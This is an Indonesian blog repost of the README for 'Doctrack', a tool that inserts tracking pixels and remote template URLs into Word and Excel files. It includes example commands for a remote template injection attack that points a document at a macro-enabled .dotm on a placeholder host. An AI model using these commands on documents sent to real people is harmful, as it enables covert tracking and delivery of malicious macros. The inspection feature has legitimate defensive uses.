Breaking

Thursday, November 26, 2020

Doctrack - Alat Untuk Memanipulasi Dan Menyisipkan Piksel Pelacakan Ke Dokumen Office Open XML (Word, Excel)

 Kang IT


Doctrack - Alat Untuk Memanipulasi Dan Menyisipkan Piksel Pelacakan Ke Dokumen Office Open XML (Word, Excel)


Alat untuk memanipulasi dan menyisipkan piksel pelacakan ke dalam dokumen Office Open XML.




fitur

  • Masukkan piksel pelacakan ke dalam dokumen Office Open XML (Word dan Excel)
  • Masukkan URL template untuk serangan injeksi template jarak jauh
  • Periksa URL dan metadata target eksternal
  • Buat dokumen Office Open XML (#TODO)


Instalasi

Anda perlu mengunduh .Net Core SDK untuk platform Anda. Kemudian, untuk membangun biner tunggal di Windows:

$ git clone https://github.com/wavvs/doctrack.git
$ cd doctrack/
$ dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true

Di Linux:

$ dotnet publish -r linux-x64 -c Release /p:PublishSingleFile=true


Pemakaian

$ doctrack --help
Tool to manipulate and insert tracking pixels into Office Open XML documents.
Copyright (C) 2020 doctrack

-i, --input Input filename.
-o, --output Output filename.
-m, --metadata Metadata to supply (json file)
-u, --url URL to insert.
-e, --template (Default: false) If set, enables template URL injection.
-t, --type Document type. If --input is not specified, creates new
document and saves as --output.
-l, --list-types (Default: false) Lists available types for document
creation.
-s, --inspect (Default: false) Inspect external targets.
--help Display this help screen.

Jenis dokumen yang tersedia tercantum di bawah ini. Jika Anda ingin memasukkan URL pelacakan, cukup gunakan jenis Dokumen atau Buku Kerja, jenis lain yang tercantum di sini hanya untuk pembuatan dokumen (#TODO).

$ doctrack --list-types
Document (*.docx)
MacroEnabledDocument (*.docm)
MacroEnabledTemplate (*.dotm)
Template (*.dotx)
Workbook (*.xlsx)
MacroEnabledWorkbook (*.xlsm)
MacroEnabledTemplateX (*.xltm)
TemplateX (*.xltx)

Masukkan piksel pelacakan dan ubah metadata dokumen:

$ doctrack -t Document -i test.docx -o test.docx --metadata metadata.json --url http://test.url/image.png

Masukkan URL template jarak jauh (serangan injeksi template jarak jauh), hanya berfungsi dengan dokumen Word:

$ doctrack -t Document -i test.docx -o test.docx --url http://test.url/template.dotm --template

Periksa URL dan metadata target eksternal:

$ doctrack -t Document -i test.docx --inspect
[External targets]
Part: /word/document.xml, ID: R8783bc77406d476d, URI: http://test.url/image.png
Part: /word/settings.xml, ID: R33c36bdf400b44f6, URI: http://test.url/template.dotm
[Metadata]
Creator:
Title:
Subject:
Category:
Keywords:
Description:
ContentType:
ContentStatus:
Version:
Revision:
Created: 13.10.2020 23:20:39
Modified: 13.10.2020 23:20:39
LastModifiedBy:
LastPrinted: 13.10.2020 23:20:39
Language:
Identifier:




Regards

Kang IT

No comments:

Post a Comment